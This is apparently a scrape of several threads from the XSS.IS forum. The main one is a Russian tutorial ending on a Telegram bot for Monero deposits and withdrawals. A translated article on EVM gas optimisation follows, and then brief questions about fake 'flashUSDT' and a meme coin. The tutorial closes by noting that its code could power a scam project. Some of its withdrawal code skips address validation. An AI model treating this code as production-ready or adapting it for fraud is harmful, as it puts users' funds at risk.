    user_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("users.id"))
    user: Mapped["User"] = relationship(back_populates="monero_deposit_transaction", uselist=False)
    height: Mapped[int] = mapped_column(BigInteger, nullable=False)

    account_id: Mapped[int] = mapped_column(Integer, nullable=False)

В таблице monero_withdraw_transaction добавляем account_id , service_transfer_fee , network_transfer_fee :

Python:Copy to clipboard

class MoneroWithdrawTransaction(Base):
    __tablename__ = "monero_withdraw_transaction"

    id: Mapped[int] = mapped_column(Integer, unique=True, nullable=False, primary_key=True)
    tx_hash: Mapped[str] = mapped_column(String(300), nullable=False)
    amount: Mapped[float] = mapped_column(Float, nullable=False)
    address_to: Mapped[str] = mapped_column(String(95))
    user_id: Mapped[uuid.UUID] = mapped_column(ForeignKey("users.id"))
    user: Mapped["User"] = relationship(back_populates="monero_withdraw_transaction", uselist=False)

    account_id: Mapped[int] = mapped_column(Integer, nullable=False)
    service_transfer_fee: Mapped[float] = mapped_column(Float, nullable=False)
    network_transfer_fee: Mapped[float] = mapped_column(Float, nullable=False)

service_transfer_fee и network_transfer_fee могут нам понадобиться для накрутки нашей комиссии и отслеживания комиссии сети.

Далее изменяем наши ручки запросов в папке data , файл requests.py. Изменяем добавление пользователя в функции add_user :

Python:Copy to clipboard

async def add_user(tg_chat_id, username):

    async with async_session() as session:

        try:

            existing_user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))

            user = existing_user.scalar_one_or_none()

            if user is None:

                new_user = User(tg_chat_id=tg_chat_id, username=username)

                session.add(new_user)

                await session.flush()

                new_monero_account_user = monero_rpc.new_account(label=str(new_user.id))

                new_user.monero_account_id = int(new_monero_account_user.index)

                new_user.monero_zero_address = str(new_monero_account_user.address())

                new_address = MoneroAddress(account_id=new_monero_account_user.index, sub_address_id=0, user_id=new_user.id, address=str(new_monero_account_user.address()), used=False)

                session.add(new_address)

                await session.commit()

                return "Пользователь добавлен в базу данных"

            else:

                if user.username != username:

                    user.username = username

                    await session.commit()

                    return "Имя пользователя обновлено"

                else:

                    return "Пользователь уже существует в базе данных"

        except Exception as err:

            print(err)

Мы все так же создаем пользователя, но добавляем его в самом начале в сессию и используем await session.flush() , чтобы получить сгенерированные данные, такие как UUID для столбца id в таблице пользователя. Это необходимо, чтобы использовать его для установки **label **в кошельке и пометить адрес в кошельке.
new_monero_account_user = monero_rpc.new_account(label=str(new_user.id))
Затем добавляем пользователю monero_account_id и monero_zero_address , создаем новую запись в таблице MoneroAddress и коммитим изменения в базу данных:

Теперь, касаемо функции get_address_monero , это будет функция для получения адреса Monero, которую вы можете использовать для получения информации о кошельке или адресах пользователя:

Python:Copy to clipboard

async def get_address_monero(tg_chat_id):
    async with async_session() as session:
        try:
            user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = user.scalar_one_or_none()
            user_address = await session.execute(select(MoneroAddress).where(and_(MoneroAddress.user_id == user.id, MoneroAddress.used == False)))
            user_address = user_address.scalars().first()
            if user_address:
                return user_address.address
            else:
                user_address, sub_address_id = monero_rpc.accounts[user.monero_account_id].new_address(label=str(user.id))
                new_address = MoneroAddress(account_id=user.monero_account_id, sub_address_id=sub_address_id, user_id=user.id, address=str(user_address), used=False)
                session.add(new_address)
                await session.commit()
                return user_address

        except Exception as err:
            print(err)

Мы изменили способ получения адреса:
user_address, sub_address_id = monero_rpc.accounts[user.monero_account_id].new_address(label=str(user.id))

Python:Copy to clipboard

async def get_new_deposit_monero():
    async with async_session() as session:
        try:
            query = select(func.max(MoneroDepositTransaction.height))
            result = await session.execute(query)
            highest_height = result.scalar_one_or_none() or 0  # Если None, то присваиваем 0
            current_height = monero_rpc.height
            num_accounts = len(monero_rpc.accounts)
            for account_index in range(num_accounts):
                incomings = monero_rpc.accounts[account_index].incoming(min_height=highest_height)
                for incoming in incomings:
                    hash = incoming.transaction.hash
                    height = incoming.transaction.height
                    amount = incoming.amount
                    address = str(incoming.local_address)
 
                    confirmations = incoming.transaction.confirmations
                    if confirmations < 10:
                        continue
 
                    result = await session.execute(
                        select(MoneroDepositTransaction).where(MoneroDepositTransaction.tx_hash == hash)
                    )
                    double_check = result.scalar_one_or_none()
 
                    if double_check is None:
                        result = await session.execute(
                            select(MoneroAddress).where(MoneroAddress.address == address)
                        )
                        user_address = result.scalar_one_or_none()
 
                        if user_address is not None:
                            tx = MoneroDepositTransaction(
                                tx_hash=hash,
                                amount=amount,
                                height=height,
                                user_id=user_address.user_id,
                                address_in=user_address.address,
                                account_id=account_index
                            )
                            session.add(tx)
 
                            result = await session.execute(
                                select(User).where(User.id == user_address.user_id)
                            )
                            user = result.scalar_one_or_none()
 
                            if user:
                                user.monero_balance += float(amount)
                                user_address.used = True
                            await session.commit()
 
        except Exception as err:
            print(err)

Чтобы получить количество аккаунтов Monero, мы обращаемся к RPC и используем стандартную функцию подсчета len, так как нам возвращаются объекты:
num_accounts = len(monero_rpc.accounts)
Делаем это число последовательным списком и создаем цикл. Получаем входящие транзакции, обращаясь к каждому аккаунту через этот список с помощью переменной account_index:
incomings = monero_rpc.accounts[account_index].incoming(min_height=highest_height)
Далее добавились только поля в MoneroDepositTransaction. Была добавлена проверка на 10 подтверждений (обще принятое количество для разблокировки), чтобы пользователи не могли использовать монеты, которые не разблокированы.
Запускаем и можем проверять, что все работает: транзакции добавляются к нам в базу. 1731027088686.png

Отправка транзакций
Следующее, к чему можно приступить, — это вывод средств. Для этого нам понадобится свой демон, чтобы делать broadcast (отправлять транзакции в блокчейн). Нам нужен monerod, он поддерживает синхронизацию с блокчейном Monero через P2P-сеть и подтверждает его правильность. Лучше всего использовать собственный полный узел для бизнеса, но так как мы только разрабатываем, можно воспользоваться обрезанной, несинхронизированной нодой в тестнете, чтобы не перегружать жесткий диск. Открываем CMD и используем следующую команду для запуска:

Python:Copy to clipboard

monerod.exe --testnet --prune-blockchain --bootstrap-daemon-address auto --no-sync

monerod.exe — утилита демон
--testnet — тестовая сеть Monero с фантиками
--prune-blockchain — означает, что 2/3 блокчейна будет отрезано после скачивания, если не хотите хранить полный блокчейн после синхронизации
--no-sync — обозначает, что мы не будем качать блокчейн вообще
--bootstrap-daemon-address auto — разрешает использовать начальный узел синхронизации и перенаправлять RPC-запросы, кошелёк будет обрабатывать их автоматически, т.е. сможем использовать кошелек без синхронизации нашей ноды

В реальном проекте не рекомендуется применять no-sync и bootstrap-daemon- address, но если очень нужно, то такая возможность есть.

Далее создадим роутер и добавим в бота FSM State из aiogram для того, чтобы сделать состояния ожидания ввода пользователем для заполнения полей формы на вывод. В папке utils создаем файл states.py и объявляем класс, группу состояний, назовем как для формы поля и кнопки:

Python:Copy to clipboard

from aiogram.fsm.state import StatesGroup, State

class WithdrawForm(StatesGroup):
    address = State()
    amount = State()
    approve = State()

    withdraw_fee = State()
    allin = State()

Создаем кнопки и callback и прописываем логику. Для этого создаем отдельный файл в папке callbacks/withdraw.py и добавляем первый callback с состоянием ожидания ввода адреса Monero:

Python:Copy to clipboard

@router.callback_query(F.data == "withdraw")
async def form_withdraw(call: CallbackQuery, state: FSMContext):
    await state.set_state(WithdrawForm.address)
    await call.message.edit_text(
        "Введите адрес Monero в сети Monero:"
    )

Нам нужен message handler для приема этого сообщения с состоянием WithdrawForm.address :

Python:Copy to clipboard

@router.message(WithdrawForm.address)
async def form_address(message: Message, state: FSMContext):
    # if is_valid_monero_address(message.text):
    balance = await get_user_balance_monero(message.from_user.id)
    print("Строка соответствует регулярному выражению.")
    await state.update_data(address=message.text)
    await state.set_state(WithdrawForm.amount)
    await message.answer(f"Ваш текущий баланс: {balance} XMR\n"
                         f"Адрес куда: {message.text}\n"
                         f"\n"
                         f"Введите сумму вывода:", reply_markup=all_ikb)
    # else:
    #     print("Строка не соответствует регулярному выражению.")    #     await message.answer(f"Ошибочка, вы ввели не корректный адрес...\n"    #                          f"\n"    #                          f"Введите адрес Monero в сети Monero:")

В хендлере используется валидация адреса, чтобы пользователь случайно не отправил средства на некорректный адрес или в другую сеть. Был взят шаблон с криптовалютного форума, где учитываются различные варианты адресов Monero:

Пример шаблона для проверки:

Python:Copy to clipboard

pattern = r'^(?:[48][0-9AB]|8[0-9AB]|4[1-9A-HJ-NP-Za-km-z]{12}(?:[1-9A-HJ-NP-Za-km-z]{30})?)[1-9A-HJ-NP-Za-km-z]{93}$'
 
# Функция для проверки адреса
def is_valid_monero_address(address):
    return bool(re.match(pattern, address))

Однако, так как мы работаем в тестовой сети, данное условие не подходит: в тестовой сети адреса начинаются с 9 или B, а в основной сети — с 4 или 8 и имеют длину 95 символов. Поэтому в данном случае регулярное выражение не будет корректно работать, и временно отключаем эту проверку.

Далее нам нужно принять сумму и проверить корректность введенного числа. Для этого создадим фильтр в папке filters , файл is_digit_or_float.py :

Python:Copy to clipboard

class CheckForDigit(BaseFilter):
    async def __call__(self, message: Message) -> bool:
        print(f"фильтр message: {message.text}")
 
        # Проверка с использованием регулярного выражения для чисел
        if bool(re.fullmatch(r'^\d+(\.\d+)?$', message.text)):
            # Преобразуем строку в число
            try:
                value = float(message.text)
                if value > 0:
                    return True
                else:
                    await message.answer(text="Введите число больше 0.")
                    return False
            except ValueError:
                # Если преобразование не удается, возвращаем False
                await message.answer(text="Произошла ошибка при обработке числа.")
                return False
 
        await message.answer(text="Введите целое или дробное число (например, 15 или 200.20), больше 0.")
        return False

Также нужно учитывать комиссию за вывод. Обычно она ставится вручную как фиксированная или рассчитывается после создания транзакции, но перед её отправкой в сеть (broadcast), поскольку в Monero невозможно заранее точно вычислить комиссию. Если пользователю нужно вывести всю сумму с учётом комиссии, для этого используется другая команда.

Пример логики для обработки транзакции с учётом комиссии может выглядеть примерно так:

  1. Пользователь вводит сумму.
  2. Если нужно вывести всю сумму, учитываем комиссию.
  3. Отправляем транзакцию на broadcast.

У нас должен получиться примерно такой код:

Python:Copy to clipboard

@router.message(WithdrawForm.amount, CheckForDigit())
@router.callback_query(F.data == "all")
async def form_amount(message: Message | CallbackQuery, state: FSMContext):
    withdraw_fee = 0.1
    await state.update_data(withdraw_fee=withdraw_fee)
    data = await state.get_data()
 
    balance = await get_user_balance_monero(message.from_user.id)
    if isinstance(message, Message):
        await state.update_data(allin=False)
        user_amount = float(message.text)
        total_amount = user_amount + withdraw_fee
        if balance > total_amount:
            print(data['address'])
            print("Строка соответствует регулярному выражению.")
            await state.update_data(amount=total_amount)
            await message.answer(f"Адрес куда: {data['address']}\n"
                                 f"Сумма {message.text}\n"
                                 f"\n"
                                 f"Подтвердить перевод ?",
                                 reply_markup=approve_cancel_ikb)
            await state.set_state(WithdrawForm.approve)
        else:
            await message.answer(f"Не достаточно средств\n"
                                 f"Ваш текущий баланс: {balance}\n"
                                 f"Комиссия: {withdraw_fee}\n"
                                 f"Максимум на вывод: {balance - withdraw_fee}\n"
                                 f"\n"
                                 f"Введите сумму на вывод:")

    else:
        total_amount = balance - withdraw_fee
        if balance > total_amount:
            await state.update_data(amount=total_amount)
            await state.update_data(allin=True)
            await message.edit(f"Адрес куда: {data['address']}\n"
                                 f"Сумма {total_amount}\n"
                                 f"\n"
                                 f"Подтвердить перевод ?",
                                 reply_markup=approve_cancel_ikb)
            await state.set_state(WithdrawForm.approve)
        else:
            await message.answer(f"Не достаточно средств\n"
                                 f"Ваш текущий баланс: {balance}\n"
                                 f"Комиссия: {withdraw_fee}\n"
                                 f"Максимум на вывод: {balance - withdraw_fee}\n"
                                 f"\n"
                                 f"Введите сумму на вывод:")

Далее создаем роутер на обработку кнопок и выход из FSM состояния:

Python:Copy to clipboard

@router.callback_query(WithdrawForm.approve)
async def form_approve(call: CallbackQuery, state: FSMContext):
    if call.data == "approve":
        print("Транзакция отправляется")

        data = await state.get_data()
        txid = await withdraw_send_to_wallet_monero(service_transfer_fee=data["withdraw_fee"],to_address=data["address"],
                                                    amount=data["amount"],
                                                    allin=data["allin"],
                                                    tg_chat_id=call.from_user.id)
        await state.clear()
        if txid:
            await call.message.answer(f"Транзакция успешно отправлена\n"
                                      f"TXID: <code>{txid}</code>\n",
                                      reply_markup=deposit_ikb)
        else:
            await call.message.answer(f"Произошла ошибка\n")
    elif call.data == "cancel":
        print("Транзакция отменена")
        await call.message.answer(f"Транзакция отменена\n",
                                  reply_markup=deposit_ikb)
        await state.clear()
    else:
        print("хз что там еще может быть но мне так нравится")

Напишем нашу функцию withdraw_send_to_wallet_monero для переводов:

Python:Copy to clipboard

async def withdraw_send_to_wallet_monero(service_transfer_fee: float, to_address:str,
                                           amount: float,
                                           allin: bool,
                                           tg_chat_id:str) -> bool | str:
    async with async_session() as session:
        try:
            existing_user = await session.execute(select(User).where(User.tg_chat_id == tg_chat_id))
            user = existing_user.scalar_one_or_none()
            txs = monero_rpc.accounts[user.monero_account_id].transfer(
                address=to_address,
                amount=Decimal(amount), priority=config.transaction_priority_monero, relay=False, unlock_time=0)
            print(txs[0])
            print(txs[0].fee)
            total_amount_transaction = amount+service_transfer_fee+float(txs[0].fee)
            if user.monero_balance > total_amount_transaction:
                result = daemon.send_transaction(txs[0], relay=True)
                print(result)
                if result["status"] == "OK":
                    print(txs[0].hash)
                    user_tx = MoneroWithdrawTransaction(service_transfer_fee=service_transfer_fee, network_transfer_fee=float(txs[0].fee), tx_hash=str(txs[0].hash),
                                    amount=amount,
                                    address_to=to_address,
                                    user_id=user.id, account_id=user.monero_account_id)
                    session.add(user_tx)
                    user.monero_balance -= total_amount_transaction
 
                    await session.commit()
                    return str(txs[0].hash)
 
                else:
                    return False
            else:
                return False # тут можно выводить что недостаточно баланса
            # if allin: # если вы работаете без коммисии сверху для полного вывода баланса пользователя            #     monero_rpc.accounts[user.monero_account_id].sweep_all(address=str, priority=config.transaction_priority_monero, relay=False, unlock_time=0)
        except Exception as err:
            print(err)

Мы должны получить пользователя из базы данных, чтобы взять номер аккаунта кошелька Monero и использовать его в переводе. Для подготовки транзакции используется следующая команда:
txs = monero_rpc.accounts[user.monero_account_id].transfer(address=to_address, amount=Decimal(amount), priority=config.transaction_priority_monero, relay=False, unlock_time=0)

Так как транзакция уже собрана, мы можем обращаться к ней как к объекту transaction и получать доступные данные:
txs[0].fee - комиссия
txs[0].hash - хеш сумма транзакции

При желании можно рассчитать комиссию Monero и отклонить транзакцию, если у пользователя недостаточно средств. В данном случае мы просто выполним broadcast транзакции в сеть:
result = daemon.send_transaction(txs[0], relay=True)
Отправляем нашу транзакцию демону со значением relay=True, чтобы она распространялась по сети. Затем:

  1. Изменяем баланс пользователя в базе данных.
  2. Добавляем запись о транзакции в таблицу.
  3. Выводим пользователю хэш транзакции для проверки: return str(txs[0].hash)

Теперь можно проверять работоспособность.
Нажатие /start

1731030983900.png

Нажатие на Wallet
1731031012995.png

Проверка пополнения​

Нажатие на Пополнить
1731031029931.png

Пополняем баланс кошелька через кран тестовых монет Rino
1731031048146.png

Так же видим что в RPC монеты пришли
1731031087212.png

Мы можем проверить транзакцию в блокчейне через xmrchain , но для этого нам понадобится txid , адрес аккаунта куда отправлены монеты и секретный ключ.
Секретный ключ получается из cli кошелька:

Bash:Copy to clipboard

monero-wallet-cli --daemon-address testnet.xmr.ditatompel.com:443 --wallet-file my_test_monero_wallet --password password --testnet --trusted-daemon

Переключаемся на нужный аккаунт (в примере аккаунт №42):

Bash:Copy to clipboard

account switch 42

Получаем viewkey:

Bash:Copy to clipboard

viewkey

После ввода пароля кошелька отображается приватный ключ, необходимый для просмотра:
1731031181774.png

Так выглядит в обозреватели отправленная мне транзакция абсолютно бесполезно, но показать надо что тут есть как в биткоине посмотреть
1731031217700.png

Убеждаемся, что баланс в системе обновился:
1731031230810.png

Нажимаем еще раз на пополнение и проверяем, что для нас создан новый адрес для пополнения:

1731031249107.png

Проверка вывода средств​

Проверяем кнопку Вывести вводим адрес (на тестовые кошельки валидация не работает):
1731031261225.png

Вводим сумму жмем подтвердить и ждем монеты на другой стороне:
1731031276209.png

Все так же можем проверить нашу транзакцию по txid если у нас будет ключ для просмотра
1731031324922.png

Релиз​

Чтобы подготовить систему к релизу, устанавливаем пароль на RPC, чтобы исключить его случайное изменение, с помощью --rpc-login. Также, для повышения безопасности, убираем параметр --testnet и можем изменить порт.
monero-wallet-rpc --rpc-bind-port 18082 --wallet-file my_no_test_monero_wallet --password password --rpc-login monero:password

Создаем обычный кошелек через CLI (без --testnet):
monero-wallet-cli --generate-new-wallet=my_no_test_monero_wallet

Запускаем monerod и полностью синхронизируем блокчейн, оставив параметр --prune-blockchain , чтобы хранить только необходимую часть блокчейна для хеширования данных. Это позволяет экономить место на диске, так как хранение полного блокчейна не обязательно.

Желательно избегать использования --bootstrap-daemon-address auto , поскольку в сети Monero присутствуют вредоносные ноды, которые могут отслеживать отправленные транзакции через IP-адрес пользователя.
monerod.exe --prune-blockchain --bootstrap-daemon-address auto

Заключение​

В этой статье мы рассмотрели, как настроить бота для пополнения и вывода средств пользователями. Даже из этих исходников вы можете создать магазин в телеграмме, p2p биржу или же скам проект все зависит от вас, но теперь вы можете не платить комиссии сторонним сервисам и держать ключи у себя, ведь, как говорится, "не ваши ключи — не ваши монеты."

Всё это можно интегрировать в docker-compose и собрать в Docker-образы для удобного развертывания и переноса проекта. У каждого пользователя могут быть свои настройки, поэтому рекомендуется ознакомиться с курсом по Docker, чтобы правильно собрать проект под свои потребности.

В будущих статьях мы можем рассмотреть интеграцию с другими криптовалютами, если вам будет интересно, а этот проект будет закончен за кадром можете следить за обновлениями на GitHub там же вы найдете исходный код.


**Исходники на GitHub:[Example Monero Payment

System](https://github.com/gilfoyle-1488/Example-Monero-Payment-System)**​

**Сделаноgilfoyle специально для форума

**XSS.IS

Изучайте код EVM, пишите смарт-контракты лучше
ID: 67686ad7b4103b69df37990f
Thread ID: 72472
Created: 2022-08-31T02:57:34+0000
Last Post: 2022-08-31T02:57:34+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 927

[ОРИГИНАЛЬНАЯ СТАТЬЯ](https://infosecwriteups.com/smart-contract-security- best-practices-part-1-c35b640ee2ff)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ XSS.IS
Шекелей пачку Jolah Molivski

Ваши хорошие привычки разработчика приводят к тому, что вы пишете неэффективные смарт-контракты. Для типичных языков программирования единственными затратами, связанными с изменением состояния и вычислениями, являются время и электроэнергия, используемая оборудованием. Однако для EVM- совместимых языков, таких как Solidity и Vyper, эти действия явно стоят денег. Эта стоимость выражается в собственной валюте блокчейна (ETH для Etheruem, AVAX для Avalanche и т. д.), которую можно рассматривать как товар, используемый для оплаты этих действий. Стоимость вычислений, переходов между состояниями и хранения называется газом. Газ используется для определения приоритетов транзакций, в качестве сопротивления Сивиллы и для предотвращения атак, связанных с проблемой остановки .
Эти нетипичные затраты приводят к шаблонам проектирования программного обеспечения, которые кажутся неэффективными и странными в типичных языках программирования. Чтобы уметь распознавать эти закономерности и понимать, почему они приводят к экономической эффективности, вы должны сначала иметь базовое представление о виртуальной машине Ethereum, то есть EVM.

**Что такое EVM? **​

Блокчейн — это конечный [автомат](https://en.wikipedia.org/wiki/Finite- state_machine). Блокчейны постепенно выполняют транзакции, которые переходят в какое-то новое состояние. Следовательно, каждая транзакция в блокчейне — это переход состояния.
Простые блокчейны, такие как Биткойн, изначально поддерживают только простые переводы. Напротив, цепочки, совместимые со смарт-контрактами, такие как Ethereum, реализуют два типа учетных записей: внешние учетные записи и контрактные учетные записи, чтобы поддерживать сложную логику.
Внешние учетные записи контролируются пользователями с помощью закрытых ключей и не имеют связанного с ними кода, в то время как контрактные учетные записи контролируются исключительно связанным с ними кодом. Код EVM хранится в виде байт в виртуальном ROM.
EVM обрабатывает выполнение и обработку всех транзакций в базовой цепочке блоков. Это стековая машина, в которой размер каждого элемента стека составляет 256 бит или 32 байта. EVM встроен в каждый узел Ethereum и отвечает за выполнение байт-кода контракта.
EVM хранит данные как в Storage / долговременная память, точнее постояная, так как при развертывании контракта записываеется в блокчейн и, как известно, что туда попало - там навсегда и осталось / , так и в memory / типа оперативной памяти / . Storage используется для постоянного хранения данных, а _memory _используется для хранения данных во время вызовов функций. Вы также можете передавать аргументы функции как данные вызова, которые действуют аналогично выделению в память, за исключением того, что данные не поддаются изменению.
Смарт-контракты пишутся на языках более высокого уровня, таких как Solidity, Vyper или Yul, и впоследствии разбиваются на байт-код EVM с помощью компилятора. Однако бывают случаи, когда более эффективно использовать байт- код непосредственно в коде.

1661912063278.png

Байт-код EVM записывается в шестнадцатеричном формате. Это язык, который виртуальная машина может интерпретировать. Это чем-то похоже на то, как процессоры могут интерпретировать только машинный код.

1661912182644.png Пример байт-кода Solidity

**Что такое опкоды EVM? **​

Весь байт-код Ethereum можно разбить на ряд операндов и кодов операций. Коды операций — это предопределенные инструкции, которые EVM интерпретирует и впоследствии может выполнить. Например, код операции ADD представлен как 0x01 в байт-коде EVM. Он удаляет два элемента из стека и помещает результат.
Количество элементов, удаляемых из стека и помещаемых в стек, зависит от кода операции. Например, имеется тридцать два кода операции PUSH: от PUSH1 до PUSH32. PUSH* добавляет в стек * байтовый элемент размером от 0 до 32 байт. Он не удаляет никаких значений из стека и добавляет одно значение. Напротив, код операции ADDMOD представляет операцию сложения по модулю и удаляет три элемента из стека, а затем помещает результат в стек. Примечательно, что только коды операций PUSH поставляются с операндами.

1661912376996.png Коды операций предыдущего примера байт-кода

Каждый код операции представляет собой один байт и имеет разную стоимость. В зависимости от кода операции эти затраты либо фиксированы, либо определяются по формуле. Например, код операции ADD стоит 3 газа. А SSTORE, который сохраняет данные в хранилище, стоит 20 000 газа, когда значение хранилища устанавливается на ненулевое значение, и стоит 5000 газа, когда значение переменной хранилища установлено равным нулю или остается неизменным.

Стоимость SSTORE на самом деле зависит от того, был ли осуществлен доступ к значению или нет. Полную информацию о расходах SSTORE и SLOAD можно найти здесь

Почему важно понимать коды операций EVM?

Понимание кодов операций EVM чрезвычайно важно для минимизации потребления газа и, в свою очередь, снижения затрат для вашего конечного пользователя. Поскольку стоимость, связанная с кодами операций EVM, произвольна, различные шаблоны кодирования, позволяющие достичь одного и того же результата, могут привести к значительному увеличению затрат. Знание того, какие коды операций являются самыми дорогими, поможет вам свести к минимуму и избежать их использования, когда это не нужно. Просмотрите документацию Ethereum для получения полного списка кодов операций EVM и связанных с ними затрат на газ.

Использование умножения вместо возведения в степень: MUL против EXP

Код операции MUL стоит 5 газа и используется для выполнения умножения. Например, арифметическое действие 10 * 10 будет стоить 5 газа.
Код операции EXP используется для возведения в степень, а его стоимость газа определяется по формуле: если показатель степени равен нулю, код операции стоит 10 газа. Однако, если показатель степени больше нуля, это стоит 10 газа + 50-кратное количество байтов в показателе степени.
Поскольку байт состоит из 8 бит, один байт используется для представления значений от 0 до 2⁸-1, два байта используются для представления значений от 2⁸ до 2¹⁶-1 и т. д. Например, 10¹⁸ будет стоить 10 + 50 * 1 = 60 газа, а 10³⁰⁰ будет стоить 10 + 50 * 2 = 160 газа, поскольку для представления 18 требуется один байт, а для представления 300 — два байта.

Из вышеизложенного ясно, что в определенные моменты следует использовать умножение вместо возведения в степень. Вот конкретный пример:

Code:Copy to clipboard

contract squareExample {uint256 x;constructor (uint256 _x) {
       x = _x;
 }
function inefficcientSquare() external {
   x = x**2;
 }
function efficcientSquare() external {
     x = x * x;
 }
 }

И inefficcientSquare, и efficcientSquare устанавливают переменную состояния x в квадрат самой себя. Однако арифметика inefficcientSquare стоит 10 + 1 * 50 = 60 газа, а арифметика efficcientSquare стоит 5 газа.
По причинам, помимо указанных выше затрат на арифметику, inefficcientSquare стоит примерно на 200 газа больше, чем efficcientSquare среднем .

1661912936167.png

Кэширование данных: SLOAD и MLOAD

Хорошо известно, что кэширование данных приводит к гораздо более высокой производительности при масштабировании. Однако кэширование данных на EVM чрезвычайно важно и приведет к существенной экономии газа даже при небольшом количестве операций.

Коды операций SLOAD и MLOAD используются для загрузки данных из хранилища и памяти. MLOAD всегда стоит 3 газа, в то время как стоимость SLOAD определяется по формуле: SLOAD стоит 2100 газа для первоначального доступа к значению во время транзакции и стоит 100 газа для каждого последующего доступа. Это означает, что загружать данные из memory на ≥97% дешевле, чем из storage.

Ниже приведен пример кода и потенциальная экономия газа:

Code:Copy to clipboard

contract storageExample {uint256 sumOfArray;
    function inefficcientSum(uint256 [] memory _array) public {
    for(uint256 i; i < _array.length; i++) {
            sumOfArray += _array[i];
        }
    }
    function efficcientSum(uint256 [] memory _array) public {
      uint256 tempVar;   for(uint256 i; i < _array.length; i++) {
            tempVar += _array[i];
        }   sumOfArray = tempVar;
    }
}

Контракт storageExample имеет две функции: inefficcientSum и efficcientSum.

Обе функции принимают _array , представляющий собой массив целых чисел без знака. Они оба устанавливают переменную состояния контракта, sumOfArray , в сумму значений в _array.
inefficcientSum использует саму переменную состояния для своих вычислений. Помните, что переменные состояния, такие как sumOfArray , хранятся в хранилище .
efficcientSum создает в памяти временную переменную tempVar , которая используется для вычисления суммы значений в _array. Затем sumOfArray присваивается значению tempVar.
efficcientSum более чем на 50 % эффективнее по газу, чем inefficcientSum, при передаче массива только из 10 целых чисел без знака.

1661913178075.png

Эта эффективность зависит от количества вычислений: efficcientSum - 300 % эффективнее по газу, чем inefficcientSum, при передаче массива из 100 целых чисел без знака.

1661913249018.png

Избегайте объектно-ориентированного программирования: код операции CREATE

Код операции CREATE используется при создании новой учетной записи с соответствующим кодом (например, смарт-контракт). Он стоит не менее 32 000 газа и является самым дорогим кодом операции в EVM.
По возможности лучше свести к минимуму количество используемых смарт- контрактов. Это отличается от типичного объектно-ориентированного программирования, в котором разделение классов поощряется для повторного использования и ясности.
Ниже приведен код для создания «хранилища» с использованием объектно- ориентированного подхода. Каждое хранилище содержит uint256, который задается в его конструкторе.

Code:Copy to clipboard

contract Vault {    
    uint256 private x;
    constructor(uint256 _x) { 
    x = _x;
    }    
   function getValue() external view returns (uint256) {
       return x;}
   } // end of Vaultinterface IVault {    function getValue() external view returns (uint256);} // end of IVault

contract InefficcientVaults {    
        address[] public factory;    
    constructor() {}
    function createVault(uint256 _x) external {
        address _vaultAddress = address(new Vault(_x));
        factory.push(_vaultAddress);
}
    function getVaultValue(uint256 vaultId) external view returns (uint256) {
        address _vaultAddress = factory[vaultId];
        IVault _vault = IVault(_vaultAddress);
        return _vault.getValue();
    }
}

Каждый раз, когда вызывается createVault() , создается новый смарт-контракт , хранящееся в Vault , определяется аргументом, переданным в createVault(). Затем адрес нового Vault сохраняется в массиве factory.

Теперь вот код, который выполняет ту же цель, но использует сопоставление / mapping / вместо создания нового смарт-контракта:

Code:Copy to clipboard

contract EfficcientVaults {// vaultId => vaultValue
mapping (uint256 => uint256) public vaultIdToVaultValue;// the next vault's id
uint256 nextVaultId;function createVault(uint256 _x) external {
    vaultIdToVaultValue[nextVaultId] = _x;
    nextVaultId++;
}function getVaultValue(uint256 vaultId) external view returns (uint256) {
    return vaultIdToVaultValue[vaultId];
}} // end of EfficcientVaults

При каждом вызове createVault() его аргумент сохраняется в отображении, а его идентификатор определяется переменной состояния nextVaultId, которая увеличивается при каждом вызове createVault().

Эта разница в реализации приводит к резкому снижению затрат на газ.

1661914189735.png

Функция createVault() от EfficcientVaults на 61% эффективнее и стоит примерно на 76 300 единиц газа меньше, чем в среднем у InefficcientVaults.

Следует отметить, что в определенные моменты желательно создать новый контракт внутри контракта, и обычно это делается для неизменности и эффективности. Стоимость транзакции для всех взаимодействий с контрактом будет увеличиваться с размером контракта. Поэтому, если вы планируете хранить огромные объемы данных в сети, вероятно, лучше разделить эти данные с помощью отдельных контрактов. Однако, если это не так, следует избегать создания новых контрактов.

Хранение данных: SSTORE

SSTORE — это код операции EVM для сохранения данных в хранилище. SSTORE стоит 20 000 газа при установке значения хранилища ненулевым с нуля и 5000 газа, когда значение хранилища установлено равным нулю.
Из-за этой стоимости хранение данных в сети крайне неэффективно и дорого. Его следует избегать, когда это возможно.

Эта практика наиболее распространена с NFT. Разработчики будут хранить метаданные NFT (его изображение, атрибуты и т. д.) в децентрализованной сети хранения, такой как Arweave или IPFS, вместо того, чтобы хранить их в блокчейне. Единственные данные, которые хранятся в сети, — это ссылка на метаданные в соответствующей децентрализованной сети хранения. Эта ссылка доступна для запроса с помощью функции tokenURI() , которая есть во всех ERC721, содержащих метаданные.

![](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fmax%2F700%2F1%2AqfGcLNcw0FD_- IIZxVtujg.png&hash=6bbaf4f7235c606cc007b170ba0d5406)

Для примера возьмем смарт-контракт Bored Ape Yacht Club . Вызов функции tokenURI() с идентификатором tokenId, равным 0, возвращает следующую ссылку: ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/0.

1661914512078.png

Если вы перейдете по этой ссылке, вы найдете файл JSON, содержащий метаданные BAYC #0:

1661914537727.png

Эти атрибуты легко проверить в OpenSea :

1661914568908.png

Следует также отметить, что некоторые структуры данных просто невозможно реализовать в EVM из-за стоимости хранения. Например, представление [графа с использованием матрицы смежности ](https://www.geeksforgeeks.org/graph-and- its-representations/)было бы совершенно невозможным из-за его пространственной сложности O(V²).

Вопрос: нужна консультация по flashUSDT.
ID: 67686ad7b4103b69df3796a0
Thread ID: 125989
Created: 2024-11-01T06:11:09+0000
Last Post: 2024-11-01T14:52:56+0000
Author: APT
Replies: 7 Views: 926

Что это? Насколько актуально? Пока есть понимание, что это фейковые юсдт. Прошу тряпками сразу не кидаться, так как с крипто-тематикой знаком весьма поверхностно.

DONALD TRUMP coin - is this scam or?
ID: 67686ad7b4103b69df379703
Thread ID: 116473
Created: 2024-06-09T14:24:26+0000
Last Post: 2024-07-16T08:23:09+0000
Author: CROATIAN
Replies: 4 Views: 924

coinmarketcap.com

DONALD TRUMP price today, DONALD to USD live price, marketcap and chart | CoinMarketCap

